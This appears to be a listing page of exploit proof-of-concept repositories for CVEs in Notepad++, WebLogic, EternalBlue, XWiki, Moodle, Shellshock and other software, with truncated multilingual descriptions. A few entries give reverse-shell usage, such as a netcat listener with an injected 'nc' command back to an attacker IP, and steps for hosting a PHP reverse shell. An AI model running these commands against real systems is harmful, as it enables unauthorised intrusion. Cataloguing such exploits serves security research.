Notepad-8.9.6-PoC

Notepad++ PoCs CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800 三个针对 Notepad++ = 8.9.6 版本的漏洞概念验证脚本，已在 v8.9.6.1 2026-05-26 中修复。 漏洞信息 CVE| 类型| CVSS| 影响 ---|---|---|--- CVE-2026-48770| 通过 WMCOPYDATA 越界读取| 5.0| 拒绝服务/崩溃 CVE-2026-48778| 通过 config.xml 操作系统命令注入| 7.8| 远程代码执行 CVE-2026-48800| 通过 shortcuts.x...

CVE-2023-26469

CVE-2023-26469 远程代码执行概念验证 此仓库包含针对 CVE-2023-26469 的利用脚本，攻击者可利用路径遍历漏洞访问运行 Jorani 1.0.0 服务器上的文件并执行代码。此外，该脚本还包含 shell 上传功能，以便进一步利用。 漏洞利用概述 CVE-2023-26469 ：一个影响 Jorani 1.0.0 的关键漏洞，可导致远程代码执行。更多详情请参阅 NVD 报告。 免责声明 此代码仅供教育用途。其目的在于演示漏洞如何被利用，以用于教育和安全意识提升。请勿将这些漏洞用于任何恶意活动。...

cve-2025-50946

cve-2025-50946 Script de explotación para CVE-2025-50946 OliveTin get-theme RCE. Los requisitos de caracteres son exigentes y muchos comandos que incluyen múltiples argumentos pueden no ejecutarse correctamente. No he dedicado tiempo a investigar la causa raíz ni a hacer el script más robusto...

apache_normalize_path

CVE-2021-41773|CVE-2021-42013: Vulnerabilidad de Path Traversal Zero-Day en Apache HTTP Server Explotada El 5 de octubre, el Proyecto Apache HTTP Server parcheó CVE-2021-41773, una vulnerabilidad de path traversal y divulgación de archivos en Apache HTTP Server, un servidor web de código abierto...

cve-2017-0143

利用CVE-2017-0143 - EternalBlue漏洞 📌 描述 该项目演示了如何在受控环境中利用CVE-2017-0143漏洞（EternalBlue），用于教育和渗透测试目的。攻击是在Windows 7系统上使用Metasploit框架执行的。 🔍 关于CVE-2017-0143 CVE-2017-0143是Windows系统中SMBv1协议的一个严重漏洞。它允许远程攻击者通过特制数据包执行任意代码，导致远程代码执行（RCE）。该漏洞是2017年Shadow Brokers泄露的EternalBlue利用工具的一部分。 类型：远程代码执行 受影响系统：Windows...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP for Python（一步完成） 使用：Python3 exploit.py -t -c 提示：无回显 示例： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' 然后你将获得shell...

xxl-job

RCE por acceso no autorizado a la API RESTful del ejecutor xxl-job La consola de registros de ejecución permite obtener el resultado de la ejecución exitosa del comando: Ejemplo: /joblog/logDetailPage?id=xxxx Ver las variables de entorno del JDK String var3 = System.getProperties.toString;...

cve-2019-0227

cve-2019-0227 apache axis1.4远程代码执行漏洞 需要在本机msf设置监听，另外需要修改代码24-30行处 ＃您需要更改这些变量以匹配您的配置 myip = “ 192.168.0.117 ” ＃您机器的IP target = “ 192.168.0.102 ” ＃目标IP 网关= “ 192.168.0.1 ” ＃默认网关 targetport = “ 8080 ” ＃目标运行轴的端口（可能是8080） pathtoaxis = “ http://192.168.0.102:8080/axis ” ＃这可以是自定义的视轴安装，但是这是默认...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- Esta es una versión editada del exploit CVE-2018-19422 para corregir un pequeño pero molesto problema que tuve. Tuve que usar este exploit en un CTF, pero no lograba que funcionara correctamente; simplemente no dejaba de fallar al iniciar sesión. Después de...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit 如何使用 1. 创建一个 PHP 反向 shell 2. 启动服务器以在同一目录中托管 shell python3 -m http.server 3. 启动 netcat 监听器在本地选择的端口，例如：nc -nlvp port of choice 4. 运行以下提供的漏洞利用示例 python3 modifiedCVE20153306.py --host remote host --port most likely port 21 --path /var/www or /var/www/html --shell name o...

vbulletin5-rce

vbulletin5 rce漏洞检测工具 0x00 概述 201909 vbulletion55.0.0-5.5.4爆出rce漏洞（CVE-2019-16759），利用文件ajax/render/widgetphp和post参数widgetConfigcode可直接远程代码执行。 20200811，网上爆出CVE-2019-16759补丁可被绕过，利用ajax/render/widgettabbedcontainertabpanel和构造post参数subWidgets0configcode可直接远程代码执行。 本工具支持单url检测，cmdshell，get web...

CVE-2015-3224

Ruby on Rails Web Console Exploit CVE-2015-3224 This repository contains a Python script to exploit an IP whitelist bypass vulnerability in the developer web console of Ruby on Rails 4.0.x and 4.1.x. The script allows for remote code execution on vulnerable servers. ⚠️ Disclaimer This script is...

CVE-2024-43425-Poc

CVE-2024-43425-Poc CVE 概述 CVE ID: CVE-2024-43425 描述: Moodle 允许经过身份验证的教师级用户通过测验编辑器界面上传恶意的计算题。 影响: 远程代码执行 RCE 原因: 对计算题内的数学负载清理不当，导致通过数据集向导实现命令注入。 要求: 有效的登录凭据 访问测验编辑界面的权限（通常是教师或管理员角色） 已知的 cmid（测验模块 ID）和 courseid 此脚本执行 5 步攻击: 步骤| 描述 ---|--- 1️⃣| 获取登录令牌 logintoken 2️⃣| 登录并建立有效的 MoodleSession 3️⃣|...

CVE-2025-56815

CVE-2025-56815 Datart 1.0.0-rc.3 es vulnerable a Directory Traversal en la interfaz POST /viz/image, ya que el servidor utiliza directamente MultipartFile.transferTo para guardar el archivo subido en una ruta controlable por el usuario y carece de una verificación estricta del nombre de archivo...

Cve-2024-38063

CVE-2024-38063 Descripción Este repositorio contiene detalles y código de exploit potencial para CVE-2024-38063, una vulnerabilidad crítica de ejecución remota de código RCE en TCP/IP de Windows. La vulnerabilidad permite a un atacante no autenticado ejecutar código arbitrario en el sistema...

Shellshock_vuln_Exploit

🚨 Shellshock RCE 漏洞利用工具 CVE-2014-6271 这是一个针对 Shellshock 漏洞 CVE-2014-6271 的 Python 利用工具，该漏洞影响 GNU Bash 。此工具攻击易受攻击的 Web 服务器上的 CGI 脚本 ，并建立到攻击者机器的 反向 shell 。 CVE ID CVE-2014-6271 免责声明 此工具仅可用于 教育和道德目的 。 功能特性 利用易受攻击的 CGI 脚本（通过 Shellshock） 反向 shell 处理程序 支持： HTTP 和 HTTPS 自定义 CGI 路径 代理支持 成功时提供交互式 shell CV...

CVE-2025-1337-PoC

CVE-2025-1337 的 PoC 针对 LogServ v1.2 服务中远程代码执行（RCE）漏洞的概念验证。 漏洞详情 CVE: CVE-2025-1337 软件: LogServ v1.2 类型: 对 sessiondata cookie 中会话对象的不安全反序列化 影响: 未经身份验证的攻击者可发送恶意 cookie 以在服务器上执行任意代码。 状态 该脚本可运行但不稳定。请勿在真实环境中使用。...

CVE-2025-24893-PoC

CVE-2025-24893 - XWiki 远程代码执行 RCE 这是一个针对 CVE-2025-24893 的更新版概念验证 PoC 利用代码，该漏洞是 XWiki 中的一个关键未认证 RCE 漏洞。此版本在原版基础上进行了改进，允许执行任意 shell 命令并实现干净的反弹 shell 注入。 作者: HexHunter404 ⚠️ 警告 此代码仅供教育和授权的渗透测试使用 。 请勿将其用于您不拥有或未经明确许可测试的系统上。 ✨ 功能特点 支持通过 bash -c '' 执行命令 完全支持反弹 shell（通过 base64 绕过 Groovy 限制） 改进了命令输出的处理 保留...

CVE-2020-10238

Hecho por HK CVE-2020-10238: Control de Acceso Incorrecto en comtemplates - RCE CVE-2020-10239: Control de Acceso Incorrecto en campo SQL de comfields - RCE Enlace https://developer.joomla.org/security-centre/804-20200303-core-incorrect-access-control-in-com-templates.html...

IngressNightmare-PoC

Exploit para Ingress NGINX - IngressNightmare Este proyecto proporciona un exploit dirigido a vulnerabilidades críticas de Ejecución Remota de Código RCE no autenticada en el Controlador Ingress NGINX para Kubernetes, conocidas colectivamente como IngressNightmare. Investigación de Wiz En la...